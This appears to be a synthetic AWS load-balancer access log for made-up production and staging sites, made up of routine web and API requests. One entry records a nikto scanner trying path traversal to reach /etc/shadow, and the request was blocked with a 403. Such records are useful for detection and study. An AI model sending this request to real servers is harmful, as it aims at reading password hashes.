TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4e1-2b9bcf7b04924e8c963b39c8" "prod-web-alb.example.com" "-" 6 2024-11-01T02:05:05.476720Z "forward" "-" "-" "10.0.68.57:443" "200" "-" "-" +http 2024-11-01T02:05:06.297937Z staging-alb 141.156.126.159:44298 58.0.61.253:8080 0.083013 0.166218 0.059878 302 302 895 5014 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4e2-ef7b490cae554d5f9814c9c2" "staging-alb.example.com" "-" 0 2024-11-01T02:05:06.297937Z "forward" "-" "-" "58.0.61.253:8080" "302" "-" "-" +https 2024-11-01T02:05:07.079907Z prod-web-alb 232.250.236.156:58301 10.0.129.189:443 0.070567 0.200342 0.030528 200 200 670 4336 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4e3-cb935b7c834b4953bd8e42ad" "prod-web-alb.example.com" "-" 6 2024-11-01T02:05:07.079907Z "forward" "-" "-" "10.0.129.189:443" "200" "-" "-" +http 2024-11-01T02:05:07.478843Z staging-alb 16.79.168.138:42744 154.234.249.123:443 0.138902 0.428195 0.104686 404 404 648 3336 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e3-6a78bfdc5bf14e46b605a0e7" "staging-alb.example.com" "-" 2 2024-11-01T02:05:07.478843Z "forward" "-" "-" "154.234.249.123:443" "404" "-" "-" +http 2024-11-01T02:05:07.830435Z staging-alb 11.92.20.124:25346 132.129.139.16:80 0.127859 0.004092 0.079117 302 302 513 13387 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e3-aa63212aaa3c47bb845ec7e0" "staging-alb.example.com" "-" 10 2024-11-01T02:05:07.830435Z "forward" "-" "-" "132.129.139.16:80" "302" "-" "-" +http 2024-11-01T02:05:09.565813Z staging-alb 166.197.38.114:50068 55.123.232.219:80 0.123881 0.173009 0.088920 200 200 736 4921 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e5-83420c180c7d40038a3cca5f" "staging-alb.example.com" "-" 5 2024-11-01T02:05:09.565813Z "forward" "-" "-" "55.123.232.219:80" "200" "-" "-" +http 2024-11-01T02:05:10.961332Z staging-alb 89.247.92.23:33340 191.244.211.117:443 0.065261 0.367697 0.050943 301 301 818 14341 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e6-968b41ae7d734347a1847df6" "staging-alb.example.com" "-" 9 2024-11-01T02:05:10.961332Z "forward" "-" "-" "191.244.211.117:443" "301" "-" "-" +https 2024-11-01T02:05:11.707412Z staging-alb 92.22.249.80:13766 144.138.50.194:8080 0.016024 0.062967 0.133467 200 200 492 4033 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e7-fad3803990bb47af80bbb2ed" "staging-alb.example.com" "-" 3 2024-11-01T02:05:11.707412Z "forward" "-" "-" "144.138.50.194:8080" "200" "-" "-" +https 2024-11-01T02:05:12.676212Z prod-web-alb 155.184.93.86:62808 10.0.112.14:443 0.019887 0.238248 0.063337 200 200 442 5776 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4e8-1d994acd382d4dd3b4b4fb52" "prod-web-alb.example.com" "-" 6 2024-11-01T02:05:12.676212Z "forward" "-" "-" "10.0.112.14:443" "200" "-" "-" +https 2024-11-01T02:05:13.477840Z prod-api-alb 73.151.210.185:24738 10.0.91.244:443 0.055017 0.055077 0.049398 200 200 267 12114 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4e9-66c3ce74bf984da5b105b827" "prod-api-alb.example.com" "-" 8 2024-11-01T02:05:13.477840Z "forward" "-" "-" "10.0.91.244:443" "200" "-" "-" +https 2024-11-01T02:05:14.502179Z prod-api-alb 99.90.172.50:17771 10.0.145.211:443 0.001525 0.151695 0.020275 200 200 713 6943 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ea-a694fdde322d44e0b0af029f" "prod-api-alb.example.com" "-" 1 2024-11-01T02:05:14.502179Z "forward" "-" "-" "10.0.145.211:443" "200" "-" "-" +https 2024-11-01T02:05:16.217961Z prod-api-alb 140.218.255.37:52896 10.0.199.184:443 0.031820 0.268547 0.096148 301 301 550 10743 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ec-7f89c6d42c92438cb8c0613b" "prod-api-alb.example.com" "-" 1 2024-11-01T02:05:16.217961Z "forward" "-" "-" "10.0.199.184:443" "301" "-" "-" +https 2024-11-01T02:05:17.623105Z prod-web-alb 36.227.249.209:53202 10.0.89.21:443 0.041613 0.348090 0.074704 200 200 405 11067 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4ed-d70c270427564c1995c765d7" "prod-web-alb.example.com" "-" 2 2024-11-01T02:05:17.623105Z "forward" "-" "-" "10.0.89.21:443" "200" "-" "-" +https 2024-11-01T02:05:18.509603Z prod-api-alb 152.124.213.44:10972 10.0.231.216:443 0.072063 0.076513 0.049406 200 200 22 14165 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ee-ebb8243509bc4477af626d3b" "prod-api-alb.example.com" "-" 9 2024-11-01T02:05:18.509603Z "forward" "-" "-" "10.0.231.216:443" "200" "-" "-" +https 2024-11-01T02:05:19.202106Z staging-alb 123.177.241.41:41363 34.124.114.187:8080 0.005180 0.151693 0.147910 200 200 372 4040 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4ef-598e9df0e02549cebd8cc270" "staging-alb.example.com" "-" 6 2024-11-01T02:05:19.202106Z "forward" "-" "-" "34.124.114.187:8080" "200" "-" "-" +https 2024-11-01T02:05:19.727122Z prod-api-alb 240.6.245.53:56396 10.0.214.86:443 0.033251 0.383727 0.067458 200 200 602 11939 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ef-1e777c385e9d40edb8571afb" "prod-api-alb.example.com" "-" 9 2024-11-01T02:05:19.727122Z "forward" "-" "-" "10.0.214.86:443" "200" "-" "-" +https 2024-11-01T02:05:20.640317Z prod-api-alb 133.69.180.182:48410 10.0.63.139:443 0.089015 0.157611 0.028700 301 301 968 4686 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4f0-8686d42e8fac45c6ad897f3a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:05:20.640317Z "forward" "-" "-" "10.0.63.139:443" "301" "-" "-" +https 2024-11-01T02:05:22.448860Z prod-web-alb 45.155.205.10:53257 10.0.105.247:443 0.023924 0.059806 0.076826 403 403 411 12349 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4f2-76606db1990b48a8bd131fa4" "-" "-" 8 2024-11-01T02:05:22.448860Z "forward" "-" "-" "10.0.105.247:443" "403" "-" "-" +http 2024-11-01T02:05:23.390866Z staging-alb 152.206.57.227:24754 0.16.82.36:80 0.019462 0.608059 0.051302 200 200 738 4314 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4f3-36011582460b4b1b92abd0b3" "staging-alb.example.com" "-" 5 2024-11-01T02:05:23.390866Z "forward" "-" "-" "0.16.82.36:80" "200" "-" "-" +https 2024-11-01T02:05:25.299410Z prod-web-alb 245.14.27.150:17436 10.0.25.117:443 0.069787 0.249159 0.018050 302 302 272 13207 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4f5-079227a8c76b4a96bb9bbf6b" "-" "-" 9 2024-11-01T02:05:25.299410Z "forward" "-" "-" "10.0.25.117:443" "302" "-" "-" +https 2024-11-01T02:05:26.352502Z prod-api-alb 124.247.67.3:40451 10.0.176.67:443 0.002179 0.017492 0.026995 200 200 665 5596 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4f6-ba25a2f2ecf8497f8121e12f" "prod-api-alb.example.com" "-" 0 2024-11-01T02:05:26.352502Z "forward" "-" "-" "10.0.176.67:443" "200" "-" "-" +https 2024-11-01T02:05:27.670441Z prod-web-alb 109.57.231.15:60374 10.0.241.248:443 0.086961 0.301862 0.073052 200 200 954 6205 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4f7-eb0160a2fe7e46508ea92b7e" "prod-web-alb.example.com" "-" 7 2024-11-01T02:05:27.670441Z "forward" "-" "-" "10.0.241.248:443" "200" "-" "-" +https 2024-11-01T02:05:28.239807Z prod-api-alb 148.40.124.66:14688 10.0.244.244:443 0.060258 0.229461 0.071599 200 200 720 789 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4f8-1f109be553e442d5970c6dbb" "prod-api-alb.example.com" "-" 6 2024-11-01T02:05:28.239807Z "forward" "-" "-" "10.0.244.244:443" "200" "-" "-" +https 2024-11-01T02:05:28.956010Z prod-web-alb 161.109.172.19:12209 10.0.160.15:443 0.092075 0.045490 0.001255 200 200 603 12964 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4f8-bb6f44406df848d399c1a95d" "prod-web-alb.example.com" "-" 9 2024-11-01T02:05:28.956010Z "forward" "-" "-" "10.0.160.15:443" "200" "-" "-" +http 2024-11-01T02:05:30.906891Z staging-alb 107.85.63.154:18544 68.237.138.26:8080 0.050924 0.375024 0.045865 302 302 151 2437 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4fa-b105ad691ff742f08589aea0" "staging-alb.example.com" "-" 5 2024-11-01T02:05:30.906891Z "forward" "-" "-" "68.237.138.26:8080" "302" "-" "-" +https 2024-11-01T02:05:32.096278Z staging-alb 45.182.59.196:48618 37.210.135.219:80 0.031000 0.465835 0.137796 302 302 588 8399 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4fc-832370cadb8746ba9a93ccd7" "staging-alb.example.com" "-" 0 2024-11-01T02:05:32.096278Z "forward" "-" "-" "37.210.135.219:80" "302" "-" "-" +https 2024-11-01T02:05:33.979980Z prod-api-alb 14.221.180.81:10866 10.0.238.82:443 0.009485 0.411941 0.034445 200 200 611 8879 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4fd-676e38bf77a74ed89d553ee8" "prod-api-alb.example.com" "-" 9 2024-11-01T02:05:33.979980Z "forward" "-" "-" "10.0.238.82:443" "200" "-" "-" +https 2024-11-01T02:05:35.443514Z prod-web-alb 94.104.74.77:41398 10.0.129.73:443 0.065511 0.246146 0.058382 301 301 611 570 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4ff-96c1c9a9146b4398981f2bd8" "prod-web-alb.example.com" "-" 8 2024-11-01T02:05:35.443514Z "forward" "-" "-" "10.0.129.73:443" "301" "-" "-" +https 2024-11-01T02:05:37.029300Z prod-web-alb 253.166.60.17:36179 10.0.192.65:443 0.001787 0.164955 0.036727 200 200 934 5991 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d501-f9bf211b5d1e4c149cac7c1a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:05:37.029300Z "forward" "-" "-" "10.0.192.65:443" "200" "-" "-" +https 2024-11-01T02:05:38.293792Z staging-alb 113.252.21.105:17943 2.216.248.65:443 0.006460 0.437556 0.041590 301 301 850 3819 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d502-de883b75762d464d8adb01fb" "staging-alb.example.com" "-" 4 2024-11-01T02:05:38.293792Z "forward" "-" "-" "2.216.248.65:443" "301" "-" "-" +https 2024-11-01T02:05:38.858686Z prod-web-alb 27.68.217.108:35557 10.0.49.212:443 0.084636 0.470088 0.037706 200 200 867 4922 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d502-3414ccd1876b493f94c7bff9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:05:38.858686Z "forward" "-" "-" "10.0.49.212:443" "200" "-" "-" +https 2024-11-01T02:05:40.164121Z prod-web-alb 20.35.108.235:27383 10.0.197.195:443 0.076280 0.213559 0.013361 302 302 387 7129 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d504-edd828a5677843c5a96f30a7" "-" "-" 10 2024-11-01T02:05:40.164121Z "forward" "-" "-" "10.0.197.195:443" "302" "-" "-" +https 2024-11-01T02:05:41.421881Z prod-web-alb 153.51.80.175:42213 10.0.149.230:443 0.026566 0.476581 0.044618 200 200 477 9033 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d505-3239a9bd455f48cbb140e56d" "prod-web-alb.example.com" "-" 8 2024-11-01T02:05:41.421881Z "forward" "-" "-" "10.0.149.230:443" "200" "-" "-" +https 2024-11-01T02:05:41.997457Z prod-web-alb 142.122.160.187:43446 10.0.237.38:443 0.079072 0.126592 0.028463 301 301 560 4638 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d505-e42b74a5a052482aae351cef" "prod-web-alb.example.com" "-" 9 2024-11-01T02:05:41.997457Z "forward" "-" "-" "10.0.237.38:443" "301" "-" "-" +http 2024-11-01T02:05:43.597335Z staging-alb 20.45.50.216:53876 208.210.6.254:80 0.030535 0.303575 0.067316 301 301 782 3281 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d507-0cfd477f5c2b4e2fa768d5f3" "staging-alb.example.com" "-" 0 2024-11-01T02:05:43.597335Z "forward" "-" "-" "208.210.6.254:80" "301" "-" "-" +https 2024-11-01T02:05:44.097550Z prod-api-alb 148.92.117.101:20710 10.0.173.53:443 0.032304 0.493117 0.064826 200 200 189 5283 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d508-b63cc3eb006c439b8884e107" "prod-api-alb.example.com" "-" 7 2024-11-01T02:05:44.097550Z "forward" "-" "-" "10.0.173.53:443" "200" "-" "-" +https 2024-11-01T02:05:44.463237Z prod-api-alb 168.136.153.142:46106 10.0.167.17:443 0.013334 0.439157 0.033232 404 404 604 7958 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d508-1be127c03da3406a817ad550" "prod-api-alb.example.com" "-" 8 2024-11-01T02:05:44.463237Z "forward" "-" "-" "10.0.167.17:443" "404" "-" "-" +https 2024-11-01T02:05:44.693739Z prod-web-alb 28.243.83.217:42468 10.0.189.172:443 0.094079 0.246673 0.044424 302 302 216 11998 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d508-87a941d0412d444bb432b7a6" "prod-web-alb.example.com" "-" 7 2024-11-01T02:05:44.693739Z "forward" "-" "-" "10.0.189.172:443" "302" "-" "-" +http 2024-11-01T02:05:45.194292Z staging-alb 14.129.125.232:44545 114.90.2.208:8080 0.144545 0.526013 0.097693 302 302 316 3837 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d509-08dc42394ead489d888f3fd9" "staging-alb.example.com" "-" 3 2024-11-01T02:05:45.194292Z "forward" "-" "-" "114.90.2.208:8080" "302" "-" "-" +https 2024-11-01T02:05:46.656190Z prod-api-alb 80.16.107.5:11409 10.0.222.158:443 0.056374 0.258886 0.046351 404 404 116 11326 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d50a-bbc010f33bf2499590745399" "prod-api-alb.example.com" "-" 1 2024-11-01T02:05:46.656190Z "forward" "-" "-" "10.0.222.158:443" "404" "-" "-" +https 2024-11-01T02:05:47.775252Z prod-api-alb 145.99.92.7:23559 10.0.58.152:443 0.058268 0.243936 0.076568 301 301 134 2026 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d50b-631938b6db32479c9060224e" "prod-api-alb.example.com" "-" 2 2024-11-01T02:05:47.775252Z "forward" "-" "-" "10.0.58.152:443" "301" "-" "-" +https 2024-11-01T02:05:48.737785Z staging-alb 147.142.81.24:12999 27.196.225.238:443 0.094387 0.631356 0.110597 200 200 369 14308 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d50c-745c61e777ee4e89a68342b1" "staging-alb.example.com" "-" 2 2024-11-01T02:05:48.737785Z "forward" "-" "-" "27.196.225.238:443" "200" "-" "-" +https 2024-11-01T02:05:50.027717Z prod-web-alb 194.251.154.137:37132 10.0.73.16:443 0.031613 0.302781 0.081747 200 200 585 9374 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d50e-fe79ccb7825d45ba8726ec2b" "prod-web-alb.example.com" "-" 8 2024-11-01T02:05:50.027717Z "forward" "-" "-" "10.0.73.16:443" "200" "-" "-" +http 2024-11-01T02:05:50.240968Z staging-alb 59.32.189.112:59116 109.12.55.91:80 0.064277 0.296899 0.014271 301 301 898 299 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d50e-4ae130b952b84a56826945dc" "-" "-" 6 2024-11-01T02:05:50.240968Z "forward" "-" "-" "109.12.55.91:80" "301" "-" "-" +https 2024-11-01T02:05:51.938175Z prod-web-alb 79.172.145.242:27206 10.0.64.42:443 0.025921 0.331967 0.027817 302 302 814 10556 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d50f-fd55bfb00a414f30a1e19305" "prod-web-alb.example.com" "-" 7 2024-11-01T02:05:51.938175Z "forward" "-" "-" "10.0.64.42:443" "302" "-" "-" +https 2024-11-01T02:05:52.726573Z staging-alb 240.157.138.21:11494 175.199.104.254:80 0.120299 0.574442 0.123260 200 200 826 5543 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d510-851c3829cc5046f087e0bb0d" "staging-alb.example.com" "-" 0 2024-11-01T02:05:52.726573Z "forward" "-" "-" "175.199.104.254:80" "200" "-" "-" +https 2024-11-01T02:05:53.478934Z prod-web-alb 190.126.5.255:52639 10.0.109.63:443 0.071105 0.166439 0.041425 200 200 788 11782 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d511-f98f1b2486a04f15bf73a4d3" "prod-web-alb.example.com" "-" 5 2024-11-01T02:05:53.478934Z "forward" "-" "-" "10.0.109.63:443" "200" "-" "-" +http 2024-11-01T02:05:55.279950Z staging-alb 218.24.54.9:51288 84.103.235.80:443 0.118520 0.153806 0.048938 200 200 918 6631 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d513-3cb7e2884e4140dab1eb4908" "staging-alb.example.com" "-" 9 